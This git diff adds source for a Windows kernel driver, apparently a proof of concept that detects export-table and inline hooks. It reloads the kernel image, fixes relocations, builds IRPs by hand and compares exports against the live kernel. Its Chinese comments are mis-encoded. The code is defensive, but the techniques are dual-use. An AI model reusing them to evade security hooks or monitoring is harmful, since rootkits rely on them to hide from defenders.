KernelMode, TRUE, 0); + + ntStatus = IoStatusBlock.Status; + + if(!NT_SUCCESS(ntStatus)) + { + _FileObject->DeviceObject = NULL; + ObDereferenceObject(_FileObject); + + } + else + {//ÔöĽÓŇýÓĂĽĆĘý + InterlockedIncrement(&_FileObject->DeviceObject->ReferenceCount); + if (_FileObject->Vpb) + InterlockedIncrement(&_FileObject->Vpb->ReferenceCount); + *FileObject = _FileObject; + } + + + return ntStatus; +} + + + + +NTSTATUS + IoCompletionRoutine( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP Irp, + IN PVOID Context) +{ + *Irp->UserIosb = Irp->IoStatus; + if (Irp->UserEvent) + KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, 0); + if (Irp->MdlAddress) + { + IoFreeMdl(Irp->MdlAddress); + Irp->MdlAddress = NULL; + } + IoFreeIrp(Irp); + return STATUS_MORE_PROCESSING_REQUIRED; +} + + + + +//˛éŃŻirp¶ŃŐ»ĐĹϢŁ¬´«ČëFileObject +NTSTATUS + IrpQueryInformationFile( + IN PFILE_OBJECT FileObject, + IN PDEVICE_OBJECT DeviceObject, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass) +{ + NTSTATUS ntStatus; + PIRP Irp; + KEVENT kEvent; + PIO_STACK_LOCATION IrpSp; + IO_STATUS_BLOCK IoStatusBlock; + + // if (FileObject->Vpb == 0 || FileObject->Vpb->DeviceObject == NULL) + // return STATUS_UNSUCCESSFUL; + + Irp = IoAllocateIrp(DeviceObject->StackSize, FALSE); + if(Irp == NULL) + return STATUS_INSUFFICIENT_RESOURCES; + + KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE); + + RtlZeroMemory(FileInformation, Length); + Irp->AssociatedIrp.SystemBuffer = FileInformation; + Irp->UserEvent = &kEvent; + Irp->UserIosb = &IoStatusBlock; + Irp->RequestorMode = KernelMode; + Irp->Tail.Overlay.Thread = PsGetCurrentThread(); + Irp->Tail.Overlay.OriginalFileObject = FileObject; + + IrpSp = IoGetNextIrpStackLocation(Irp); + IrpSp->MajorFunction = IRP_MJ_QUERY_INFORMATION; + IrpSp->DeviceObject = DeviceObject; + IrpSp->FileObject = FileObject; + IrpSp->Parameters.QueryFile.Length = Length; + IrpSp->Parameters.QueryFile.FileInformationClass = FileInformationClass; + + IoSetCompletionRoutine(Irp, IoCompletionRoutine, 0, TRUE, TRUE, TRUE); + ntStatus = IoCallDriver(DeviceObject, Irp); + + if (ntStatus == STATUS_PENDING) + KeWaitForSingleObject(&kEvent, Executive, KernelMode, TRUE, 0); + + return IoStatusBlock.Status; +} + + + +//IrpÇëÇ󣬽«ÎÄĽţ¶ÁČ뻺łĺÇřÖĐ +NTSTATUS + IrpReadFile( + IN PFILE_OBJECT FileObject, + IN PDEVICE_OBJECT DeviceObject, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL) +{ + NTSTATUS ntStatus; + PIRP Irp; + KEVENT kEvent; + PIO_STACK_LOCATION IrpSp; + // + + + if(ByteOffset == NULL) + { + if(!(FileObject->Flags & FO_SYNCHRONOUS_IO)) + return STATUS_INVALID_PARAMETER; + ByteOffset = &FileObject->CurrentByteOffset; + } + + Irp = IoAllocateIrp(DeviceObject->StackSize, FALSE); + if(Irp == NULL) return STATUS_INSUFFICIENT_RESOURCES; + + RtlZeroMemory(Buffer, Length); + if(FileObject->DeviceObject->Flags & DO_BUFFERED_IO) //»şłĺ·˝Ę˝ + { + Irp->AssociatedIrp.SystemBuffer = Buffer; + } + else if(FileObject->DeviceObject->Flags & DO_DIRECT_IO) //Ö±˝Ó·˝Ę˝ + { + Irp->MdlAddress = IoAllocateMdl(Buffer, Length, 0, 0, 0); + if (Irp->MdlAddress == NULL) + { + IoFreeIrp(Irp); + return STATUS_INSUFFICIENT_RESOURCES; + } + MmBuildMdlForNonPagedPool(Irp->MdlAddress); + } + else //ĆäËű·˝Ę˝ + { + Irp->UserBuffer = Buffer; + } + + KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE); + + Irp->UserEvent = &kEvent; + Irp->UserIosb = IoStatusBlock; + Irp->RequestorMode = KernelMode; + Irp->Flags = IRP_READ_OPERATION; + Irp->Tail.Overlay.Thread = PsGetCurrentThread(); + Irp->Tail.Overlay.OriginalFileObject = FileObject; + + IrpSp = IoGetNextIrpStackLocation(Irp); + IrpSp->MajorFunction = IRP_MJ_READ; + IrpSp->MinorFunction = IRP_MN_NORMAL; + IrpSp->DeviceObject = DeviceObject; + IrpSp->FileObject = FileObject; + IrpSp->Parameters.Read.Length = Length; + IrpSp->Parameters.Read.ByteOffset = *ByteOffset; + + IoSetCompletionRoutine(Irp, IoCompletionRoutine, 0, TRUE, TRUE, TRUE); + ntStatus = IoCallDriver(DeviceObject, Irp); + if (ntStatus == STATUS_PENDING) + KeWaitForSingleObject(&kEvent, Executive, KernelMode, TRUE, 0); + + return IoStatusBlock->Status; +} diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FileSystem.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FileSystem.h new file mode 100644 index 00000000..5e7fa31d --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FileSystem.h @@ -0,0 +1,42 @@ +#include "Reload.h" + + + + +NTSTATUS + IrpCreateFile( + IN PUNICODE_STRING FilePath, + IN ACCESS_MASK DesiredAccess, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN PDEVICE_OBJECT DeviceObject, + IN PDEVICE_OBJECT RealDevice, + OUT PFILE_OBJECT *FileObject + ); +NTSTATUS + IoCompletionRoutine( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP Irp, + IN PVOID Context); + + +NTSTATUS + IrpQueryInformationFile( + IN PFILE_OBJECT FileObject, + IN PDEVICE_OBJECT DeviceObject, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass); + + +//IrpÇëÇ󣬽«ÎÄĽţ¶ÁČ뻺łĺÇřÖĐ +NTSTATUS + IrpReadFile( + IN PFILE_OBJECT FileObject, + IN PDEVICE_OBJECT DeviceObject, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL); diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FixRelocation.c b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FixRelocation.c new file mode 100644 index 00000000..779be30d --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FixRelocation.c @@ -0,0 +1,461 @@ +#include "FixRelocation.h" + + + +/* +Öض¨Î»±í Đ޸´ +*/ +BOOLEAN + FixBaseRelocTable ( + PVOID NewImageBase, + DWORD ExistImageBase + ) +{ + LONGLONG Diff; + ULONG TotalCountBytes = 0; + ULONG_PTR VA; + ULONGLONG OriginalImageBase; + ULONG SizeOfBlock; + PUCHAR FixupVA; + USHORT Offset; + PUSHORT NextOffset = NULL; + PIMAGE_NT_HEADERS NtHeaders; + PIMAGE_BASE_RELOCATION NextBlock; + + + NtHeaders = RtlImageNtHeader( NewImageBase ); + if (NtHeaders == NULL) + { + return FALSE; + } + + switch (NtHeaders->OptionalHeader.Magic) { + + case IMAGE_NT_OPTIONAL_HDR32_MAGIC: + + OriginalImageBase = + ((PIMAGE_NT_HEADERS32)NtHeaders)->OptionalHeader.ImageBase; + break; + + case IMAGE_NT_OPTIONAL_HDR64_MAGIC: + + OriginalImageBase = + ((PIMAGE_NT_HEADERS64)NtHeaders)->OptionalHeader.ImageBase; + break; + + default: + return FALSE; + } + + // + // Locate the relocation section. + // + + NextBlock = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData( + NewImageBase, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &TotalCountBytes); + + // + // It is possible for a file to have no relocations, but the relocations + // must not have been stripped. + // + + if (!NextBlock || !TotalCountBytes) + { + + if (NtHeaders->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED) + { + DbgPrint("Image can't be relocated, no fixup information.\n"); + return FALSE; + + } + else + { + return TRUE; + } + + } + + // + // If the image has a relocation table, then apply the specified fixup + // information to the image. + // + Diff = (ULONG_PTR)ExistImageBase - OriginalImageBase; + while (TotalCountBytes) + { + SizeOfBlock = NextBlock->SizeOfBlock; + TotalCountBytes -= SizeOfBlock; + SizeOfBlock -= sizeof(IMAGE_BASE_RELOCATION); + SizeOfBlock /= sizeof(USHORT); + NextOffset = (PUSHORT)((PCHAR)NextBlock + sizeof(IMAGE_BASE_RELOCATION)); + + VA = (ULONG_PTR)NewImageBase + NextBlock->VirtualAddress; + + if ( !(NextBlock = LdrProcessRelocationBlockLongLong( VA, + SizeOfBlock, + NextOffset, + Diff)) ) + { + + DbgPrint("%s: Unknown base relocation type\n"); + return FALSE; + + } + } + + return TRUE; +} + + + +/*Đ޸´Öض¨Î»±í*/ +PIMAGE_BASE_RELOCATION + LdrProcessRelocationBlockLongLong( + IN ULONG_PTR VA, + IN ULONG SizeOfBlock, + IN PUSHORT NextOffset, + IN LONGLONG Diff + ) +{ + PUCHAR FixupVA; + USHORT Offset; + LONG Temp; + ULONG Temp32; + ULONGLONG Value64; + LONGLONG Temp64; + + + + while (SizeOfBlock--) { + + Offset = *NextOffset & (USHORT)0xfff; + FixupVA = (PUCHAR)(VA + Offset); + + // + // Apply the fixups. + // + + switch ((*NextOffset) >> 12) { + + case IMAGE_REL_BASED_HIGHLOW : + // + // HighLow - (32-bits) relocate the high and low half + // of an address. + // + *(LONG UNALIGNED *)FixupVA += (ULONG) Diff; + break; + + case IMAGE_REL_BASED_HIGH : + // + // High - (16-bits) relocate the high half of an address. + // + Temp = *(PUSHORT)FixupVA << 16; + Temp += (ULONG) Diff; + *(PUSHORT)FixupVA = (USHORT)(Temp >> 16); + break; + + case IMAGE_REL_BASED_HIGHADJ : + // + // Adjust high - (16-bits) relocate the high half of an + // address and adjust for sign extension of low half. + // + + // + // If the address has already been relocated then don't + // process it again now or information will be lost. + // + if (Offset & LDRP_RELOCATION_FINAL) { + ++NextOffset; + --SizeOfBlock; + break; + } + + Temp = *(PUSHORT)FixupVA << 16; + ++NextOffset; + --SizeOfBlock; + Temp += (LONG)(*(PSHORT)NextOffset); + Temp += (ULONG) Diff; + Temp += 0x8000; + *(PUSHORT)FixupVA = (USHORT)(Temp >> 16); + + break; + + case IMAGE_REL_BASED_LOW : + // + // Low - (16-bit) relocate the low half of an address. + // + Temp = *(PSHORT)FixupVA; + Temp += (ULONG) Diff; + *(PUSHORT)FixupVA = (USHORT)Temp; + break; + + case IMAGE_REL_BASED_IA64_IMM64: + + // + // Align it to bundle address before fixing up the + // 64-bit immediate value of the movl instruction. + // + + FixupVA = (PUCHAR)((ULONG_PTR)FixupVA & ~(15)); + Value64 = (ULONGLONG)0; + + // + // Extract the lower 32 bits of IMM64 from bundle + // + + + EXT_IMM64(Value64, + (PULONG)FixupVA + EMARCH_ENC_I17_IMM7B_INST_WORD_X, + EMARCH_ENC_I17_IMM7B_SIZE_X, + EMARCH_ENC_I17_IMM7B_INST_WORD_POS_X, + EMARCH_ENC_I17_IMM7B_VAL_POS_X); + EXT_IMM64(Value64, + (PULONG)FixupVA + EMARCH_ENC_I17_IMM9D_INST_WORD_X, + EMARCH_ENC_I17_IMM9D_SIZE_X, + EMARCH_ENC_I17_IMM9D_INST_WORD_POS_X, + EMARCH_ENC_I17_IMM9D_VAL_POS_X); + EXT_IMM64(Value64, + (PULONG)FixupVA + EMARCH_ENC_I17_IMM5C_INST_WORD_X, + EMARCH_ENC_I17_IMM5C_SIZE_X, + EMARCH_ENC_I17_IMM5C_INST_WORD_POS_X, + EMARCH_ENC_I17_IMM5C_VAL_POS_X); + EXT_IMM64(Value64, + (PULONG)FixupVA + EMARCH_ENC_I17_IC_INST_WORD_X, + EMARCH_ENC_I17_IC_SIZE_X, + EMARCH_ENC_I17_IC_INST_WORD_POS_X, + EMARCH_ENC_I17_IC_VAL_POS_X); + EXT_IMM64(Value64, + (PULONG)FixupVA + EMARCH_ENC_I17_IMM41a_INST_WORD_X, + EMARCH_ENC_I17_IMM41a_SIZE_X, + EMARCH_ENC_I17_IMM41a_INST_WORD_POS_X, + EMARCH_ENC_I17_IMM41a_VAL_POS_X); + + EXT_IMM64(Value64, + ((PULONG)FixupVA + EMARCH_ENC_I17_IMM41b_INST_WORD_X), + EMARCH_ENC_I17_IMM41b_SIZE_X, + EMARCH_ENC_I17_IMM41b_INST_WORD_POS_X, + EMARCH_ENC_I17_IMM41b_VAL_POS_X); + EXT_IMM64(Value64, + ((PULONG)FixupVA + EMARCH_ENC_I17_IMM41c_INST_WORD_X), + EMARCH_ENC_I17_IMM41c_SIZE_X, + EMARCH_ENC_I17_IMM41c_INST_WORD_POS_X, + EMARCH_ENC_I17_IMM41c_VAL_POS_X); + EXT_IMM64(Value64, + ((PULONG)FixupVA + EMARCH_ENC_I17_SIGN_INST_WORD_X), + EMARCH_ENC_I17_SIGN_SIZE_X, + EMARCH_ENC_I17_SIGN_INST_WORD_POS_X, + EMARCH_ENC_I17_SIGN_VAL_POS_X); + // + // Update 64-bit address + // + + Value64+=Diff; + + // + // Insert IMM64 into bundle + // + + INS_IMM64(Value64, + ((PULONG)FixupVA + EMARCH_ENC_I17_IMM7B_INST_WORD_X), + EMARCH_ENC_I17_IMM7B_SIZE_X, + EMARCH_ENC_I17_IMM7B_INST_WORD_POS_X, + EMARCH_ENC_I17_IMM7B_VAL_POS_X); + INS_IMM64(Value64, + ((PULONG)FixupVA + EMARCH_ENC_I17_IMM9D_INST_WORD_X), + EMARCH_ENC_I17_IMM9D_SIZE_X, + EMARCH_ENC_I17_IMM9D_INST_WORD_POS_X, + EMARCH_ENC_I17_IMM9D_VAL_POS_X); + INS_IMM64(Value64, + ((PULONG)FixupVA + EMARCH_ENC_I17_IMM5C_INST_WORD_X), + EMARCH_ENC_I17_IMM5C_SIZE_X, + EMARCH_ENC_I17_IMM5C_INST_WORD_POS_X, + EMARCH_ENC_I17_IMM5C_VAL_POS_X); + INS_IMM64(Value64, + ((PULONG)FixupVA + EMARCH_ENC_I17_IC_INST_WORD_X), + EMARCH_ENC_I17_IC_SIZE_X, + EMARCH_ENC_I17_IC_INST_WORD_POS_X, + EMARCH_ENC_I17_IC_VAL_POS_X); + INS_IMM64(Value64, + ((PULONG)FixupVA + EMARCH_ENC_I17_IMM41a_INST_WORD_X), + EMARCH_ENC_I17_IMM41a_SIZE_X, + EMARCH_ENC_I17_IMM41a_INST_WORD_POS_X, + EMARCH_ENC_I17_IMM41a_VAL_POS_X); + INS_IMM64(Value64, + ((PULONG)FixupVA + EMARCH_ENC_I17_IMM41b_INST_WORD_X), + EMARCH_ENC_I17_IMM41b_SIZE_X, + EMARCH_ENC_I17_IMM41b_INST_WORD_POS_X, + EMARCH_ENC_I17_IMM41b_VAL_POS_X); + INS_IMM64(Value64, + ((PULONG)FixupVA + EMARCH_ENC_I17_IMM41c_INST_WORD_X), + EMARCH_ENC_I17_IMM41c_SIZE_X, + EMARCH_ENC_I17_IMM41c_INST_WORD_POS_X, + EMARCH_ENC_I17_IMM41c_VAL_POS_X); + INS_IMM64(Value64, + ((PULONG)FixupVA + EMARCH_ENC_I17_SIGN_INST_WORD_X), + EMARCH_ENC_I17_SIGN_SIZE_X, + EMARCH_ENC_I17_SIGN_INST_WORD_POS_X, + EMARCH_ENC_I17_SIGN_VAL_POS_X); + break; + + case IMAGE_REL_BASED_DIR64: + + *(ULONGLONG UNALIGNED *)FixupVA += Diff; + + break; + + case IMAGE_REL_BASED_MIPS_JMPADDR : + // + // JumpAddress - (32-bits) relocate a MIPS jump address. + // + Temp = (*(PULONG)FixupVA & 0x3ffffff) << 2; + Temp += (ULONG) Diff; + *(PULONG)FixupVA = (*(PULONG)FixupVA & ~0x3ffffff) | + ((Temp >> 2) & 0x3ffffff); + + break; + + case IMAGE_REL_BASED_ABSOLUTE : + // + // Absolute - no fixup required. + // + break; + + case IMAGE_REL_BASED_SECTION : + // + // Section Relative reloc. Ignore for now. + // + break; + + case IMAGE_REL_BASED_REL32 : + // + // Relative intrasection. Ignore for now. + // + break; + + default : + // + // Illegal - illegal relocation type. + // + + return (PIMAGE_BASE_RELOCATION)NULL; + } + ++NextOffset; + } + return (PIMAGE_BASE_RELOCATION)NextOffset; +} + + +/* +»ńµĂNtHeader +*/ +NTSTATUS + NTAPI + RtlImageNtHeaderEx( + ULONG Flags, + PVOID Base, + ULONG64 Size, + OUT PIMAGE_NT_HEADERS * OutHeaders + ) + +{ + PIMAGE_NT_HEADERS NtHeaders = 0; + ULONG e_lfanew = 0; + BOOLEAN RangeCheck = 0; + NTSTATUS Status = 0; + const ULONG ValidFlags = + RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK; + + if (OutHeaders != NULL) { + *OutHeaders = NULL; + } + if (OutHeaders == NULL) { + Status = STATUS_INVALID_PARAMETER; + goto Exit; + } + if ((Flags & ~ValidFlags) != 0) { + Status = STATUS_INVALID_PARAMETER; + goto Exit; + } + if (Base == NULL || Base == (PVOID)(LONG_PTR)-1) { + Status = STATUS_INVALID_PARAMETER; + goto Exit; + } + + RangeCheck = ((Flags & RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK) == 0); + if (RangeCheck) { + if (Size < sizeof(IMAGE_DOS_HEADER)) { + Status = STATUS_INVALID_IMAGE_FORMAT; + goto Exit; + } + } + + // + // Exception handling is not available in the boot loader, and exceptions + // were not historically caught here in kernel mode. Drivers are considered + // trusted, so we can't get an exception here due to a bad file, but we + // could take an inpage error. + // +#define EXIT goto Exit + if (((PIMAGE_DOS_HEADER)Base)->e_magic != IMAGE_DOS_SIGNATURE) { + Status = STATUS_INVALID_IMAGE_FORMAT; + EXIT; + } + e_lfanew = ((PIMAGE_DOS_HEADER)Base)->e_lfanew; + if (RangeCheck) { + if (e_lfanew >= Size +#define SIZEOF_PE_SIGNATURE 4 + || e_lfanew >= (MAXULONG - SIZEOF_PE_SIGNATURE - sizeof(IMAGE_FILE_HEADER)) + || (e_lfanew + SIZEOF_PE_SIGNATURE + sizeof(IMAGE_FILE_HEADER)) >= Size + ) { + Status = STATUS_INVALID_IMAGE_FORMAT; + EXIT; + } + } + + NtHeaders = (PIMAGE_NT_HEADERS)((PCHAR)Base + e_lfanew); + + // + // In kernelmode, do not cross from usermode address to kernelmode address. + // + if (Base < MM_HIGHEST_USER_ADDRESS) { + if ((PVOID)NtHeaders >= MM_HIGHEST_USER_ADDRESS) { + Status = STATUS_INVALID_IMAGE_FORMAT; + EXIT; + } + // + // Note that this check is slightly overeager since IMAGE_NT_HEADERS has + // a builtin array of data_directories that may be larger than the image + // actually has. A better check would be to add FileHeader.SizeOfOptionalHeader, + // after ensuring that the FileHeader does not cross the u/k boundary. + // + if ((PVOID)((PCHAR)NtHeaders + sizeof (IMAGE_NT_HEADERS)) >= MM_HIGHEST_USER_ADDRESS) { + Status = STATUS_INVALID_IMAGE_FORMAT; + EXIT; + } + } + + if (NtHeaders->Signature != IMAGE_NT_SIGNATURE) { + Status = STATUS_INVALID_IMAGE_FORMAT; + EXIT; + } + Status = STATUS_SUCCESS; + +Exit: + if (NT_SUCCESS(Status)) { + *OutHeaders = NtHeaders; + } + return Status; +} + +// +// PIMAGE_NT_HEADERS +// NTAPI +// RtlImageNtHeader( +// PVOID Base +// ) +// { +// PIMAGE_NT_HEADERS NtHeaders = NULL; +// (VOID)RtlImageNtHeaderEx(RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK, Base, 0, &NtHeaders); +// return NtHeaders; +// } +// +// diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FixRelocation.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FixRelocation.h new file mode 100644 index 00000000..afb80959 --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FixRelocation.h @@ -0,0 +1,33 @@ +#include "Reload.h" + + + + +BOOLEAN + FixBaseRelocTable ( + PVOID NewImageBase, + DWORD ExistImageBase + ); + +PIMAGE_BASE_RELOCATION + LdrProcessRelocationBlockLongLong( + IN ULONG_PTR VA, + IN ULONG SizeOfBlock, + IN PUSHORT NextOffset, + IN LONGLONG Diff + ); + +NTSTATUS + NTAPI + RtlImageNtHeaderEx( + ULONG Flags, + PVOID Base, + ULONG64 Size, + OUT PIMAGE_NT_HEADERS * OutHeaders + ); + +PIMAGE_NT_HEADERS + NTAPI + RtlImageNtHeader( + PVOID Base + ); diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelHookCheck.c b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelHookCheck.c new file mode 100644 index 00000000..db2cbabe --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelHookCheck.c @@ -0,0 +1,694 @@ +#include "KernelHookCheck.h" +#include "libdasm.h" +#include "Common.h" +#include "Reload.h" + +ULONG IntHookCount; //ĽÇÂĽHookĘýÁż + +extern DWORD OriginalKiServiceTable; +extern PSERVICE_DESCRIPTOR_TABLE OriginalServiceDescriptorTable; + +extern ULONG_PTR SystemKernelModuleBase; +extern ULONG_PTR SystemKernelModuleSize; +extern ULONG_PTR ImageModuleBase; + + +BOOLEAN KernelHookCheck(PINLINEHOOKINFO InlineHookInfo) +{ + NTSTATUS Status = STATUS_UNSUCCESSFUL; + + PIMAGE_NT_HEADERS NtHeader; + PIMAGE_EXPORT_DIRECTORY ExportTable; + ULONG* FunctionAddresses; + ULONG* FunctionNames; + USHORT* FunctionIndexs; + ULONG ulIndex; + ULONG i; + CHAR* szFunctionName; + SIZE_T ViewSize=0; + ULONG_PTR ulFunctionAddress; + + BOOL bIsZwFunction = FALSE; + + ULONG ulOldAddress; + ULONG ulReloadAddress; + + PUCHAR ulTemp; + + __try{ + NtHeader = RtlImageNtHeader((PVOID)ImageModuleBase); + if (NtHeader && NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress){ + ExportTable =(IMAGE_EXPORT_DIRECTORY*)((ULONG_PTR)ImageModuleBase + NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + FunctionAddresses = (ULONG*)((ULONG_PTR)ImageModuleBase + ExportTable->AddressOfFunctions); + FunctionNames = (ULONG*)((ULONG_PTR)ImageModuleBase + ExportTable->AddressOfNames); + FunctionIndexs = (USHORT*)((ULONG_PTR)ImageModuleBase + ExportTable->AddressOfNameOrdinals); + for(i = 0; i < ExportTable->NumberOfNames; i++) + { + szFunctionName = (LPSTR)((ULONG_PTR)ImageModuleBase + FunctionNames[i]); + + ulIndex = FunctionIndexs[i]; + ulFunctionAddress = (ULONG_PTR)((ULONG_PTR)ImageModuleBase + FunctionAddresses[ulIndex]); + // ulIndex=*(ULONG*)(ulFunctionAddress+1); //32 bit 1 64 bit 4 //·ţÎńşĹ + + + //¶ÔÓÚ·ÇZwϵÁĐşŻĘý Ć«ŇƵ˝ĎµÍłµÄ¸ĂşŻĘýµŘÖ·´¦ + ulReloadAddress = ulFunctionAddress; + ulOldAddress = ulReloadAddress - (ULONG)ImageModuleBase + SystemKernelModuleBase; + + if (!ulOldAddress || + !MmIsAddressValid((PVOID)ulOldAddress) || + !ulReloadAddress || + !MmIsAddressValid((PVOID)ulReloadAddress)) + { + continue; + } + bIsZwFunction = FALSE; + + //Ľě˛éĎÂŇ»˛ăµÚŇ»¸öcallµÄşŻĘýµÄhook + if (*szFunctionName == 'Z' && + *(szFunctionName+1) == 'w') + { + bIsZwFunction = TRUE; + ulIndex = *((WORD*)(ulFunctionAddress + 1)); //µĂµ˝·ţÎńşĹ + + if (ulIndex > 0 && + ulIndex <= OriginalServiceDescriptorTable->TableSize) + { + //¶ÔÓÚZwϵÁĐşŻĘý »ńµĂϵͳNtosÖĐ ¶ÔÓ¦µÄNtşŻĘýµÄµŘÖ· + ulReloadAddress = OriginalServiceDescriptorTable->ServiceTable[ulIndex]; + ulOldAddress = ulReloadAddress - (ULONG)ImageModuleBase + SystemKernelModuleBase; + } + } + if (bIsZwFunction) + { + //Čçąű bIsZwFunction == TRUE ÖŘĐÂЧŃéһϵŘÖ·µÄÓĐЧĐÔ + if (!ulOldAddress || + !MmIsAddressValid((PVOID)ulOldAddress) || + !ulReloadAddress || + !MmIsAddressValid((PVOID)ulReloadAddress)) + { + continue; + } + } + else //ĎÂŇ»˛ăşŻĘýֻɨĂč·ÇZwżŞÍ·µÄŁ¬˛˘ÇŇֻɨĂčδµĽłöşŻĘý + { + GetNextFunctionAddress(ImageModuleBase,ulOldAddress,szFunctionName,InlineHookInfo); + } + + ulTemp = NULL; + + //¶ÔÓÚZwÖеÄNtşŻĘý ˇ˘ µĽłöşŻĘý + //ĹжĎĘÇ·ńNtos µĽłö±íHook + //ulOldAddress ĘǸůľÝÖŘÔصŘÖ· - Base + KernelBase ŐćŐýşŻĘýµÄµŘÖ· + ulTemp = (PUCHAR)GetEatHook(ulOldAddress,i,SystemKernelModuleBase,SystemKernelModuleSize); //±Č˝ĎEAT Hook + + if(ulTemp) + {//µĽłö±íHookÁË + FillInlineHookInfo(ulTemp,InlineHookInfo,szFunctionName,ulOldAddress,1); //EAT Hook 1 + } + //ĘÇ·ńĘÇInlineHook + CheckFuncByOpcode((PVOID)ulReloadAddress,InlineHookInfo,szFunctionName,(PVOID)ulOldAddress); + + } + } + }__except(EXCEPTION_EXECUTE_HANDLER) + { + } + return STATUS_SUCCESS; +} +VOID FillInlineHookInfo(PUCHAR ulTemp,PINLINEHOOKINFO InlineHookInfo,CHAR* szFunctionName,ULONG ulOldAddress,ULONG HookType) +{ + ULONG ulHookModuleBase; + ULONG ulHookModuleSize; + char lpszHookModuleImage[256]; + ULONG IntHookCount = InlineHookInfo->ulCount; + + + memset(lpszHookModuleImage,0,sizeof(lpszHookModuleImage)); + if (!IsAddressInSystem( + (ULONG)ulTemp, + &ulHookModuleBase, + &ulHookModuleSize, + lpszHookModuleImage)) + { + memset(lpszHookModuleImage,0,sizeof(lpszHookModuleImage)); + strcat(lpszHookModuleImage,"Unknown4"); + ulHookModuleBase = 0; + ulHookModuleSize = 0; + } + InlineHookInfo->InlineHook[IntHookCount].ulMemoryHookBase = (ULONG)ulTemp; + memset(InlineHookInfo->InlineHook[IntHookCount].lpszFunction,0,sizeof(InlineHookInfo->InlineHook[IntHookCount].lpszFunction)); + memset(InlineHookInfo->InlineHook[IntHookCount].lpszHookModuleImage,0,sizeof(InlineHookInfo->InlineHook[IntHookCount].lpszHookModuleImage)); + + memcpy(InlineHookInfo->InlineHook[IntHookCount].lpszFunction,szFunctionName,strlen(szFunctionName)); + memcpy(InlineHookInfo->InlineHook[IntHookCount].lpszHookModuleImage,lpszHookModuleImage,strlen(lpszHookModuleImage)); + + InlineHookInfo->InlineHook[IntHookCount].ulMemoryFunctionBase = (ULONG)ulOldAddress; + InlineHookInfo->InlineHook[IntHookCount].ulHookModuleBase = ulHookModuleBase; + InlineHookInfo->InlineHook[IntHookCount].ulHookModuleSize = ulHookModuleSize; + InlineHookInfo->InlineHook[IntHookCount].ulHookType = HookType; //eat hook 1 Inline Hook 0 + IntHookCount++; + InlineHookInfo->ulCount++; +} + + +VOID CheckFuncByOpcode(PVOID ulReloadAddress,PINLINEHOOKINFO InlineHookInfo,CHAR* szFunctionName,PVOID ulOldAddress) +{ + INSTRUCTION Inst; + INSTRUCTION Instb; + ULONG ulHookFunctionAddress; + size_t ulCodeSize; + PUCHAR p; + PUCHAR ulTemp; + int Flagss; + if (GetFunctionCodeSize(ulOldAddress) == GetFunctionCodeSize(ulReloadAddress) && + memcmp(ulReloadAddress,ulOldAddress,GetFunctionCodeSize(ulOldAddress)) != 0) + {//±»HookÁË + //żŞĘĽÉ¨Ăčhooksss + ulCodeSize = GetFunctionCodeSize(ulOldAddress); + + for (p = (PUCHAR)ulOldAddress ;(ULONG)p < (ULONG)ulOldAddress+ulCodeSize; p++) + { + //ŐŰ°ëɨĂ裬ČçąűÇ°ĂćŇ»°ëŇ»ŃůŁ¬ÔňżŞĘĽÉ¨ĂčĎÂŇ»°ë + if (memcmp(ulReloadAddress,ulOldAddress,ulCodeSize/2) == 0) + { + ulCodeSize = ulCodeSize + ulCodeSize/2; + continue; + } + if (*p == 0xcc || + *p == 0xc2) + { + break; + } + ulHookFunctionAddress = (*(PULONG)(p + 1) + (ULONG)p + 5); //µĂµ˝hookµÄµŘÖ· + if (!MmIsAddressValid((PVOID)ulHookFunctionAddress)) + { + continue; + } + ulTemp = NULL; + get_instruction(&Inst,p,MODE_32); + switch (Inst.type) + { + case INSTRUCTION_TYPE_JMP: + if(Inst.opcode==0xFF&&Inst.modrm==0x25) + { + //DIRECT_JMP + ulTemp = (PUCHAR)Inst.op1.displacement; + } + else if (Inst.opcode==0xEB) + { + ulTemp = (PUCHAR)(p+Inst.op1.immediate); + } + else if(Inst.opcode==0xE9) + { + //RELATIVE_JMP; + ulTemp = (PUCHAR)(p+Inst.op1.immediate); + 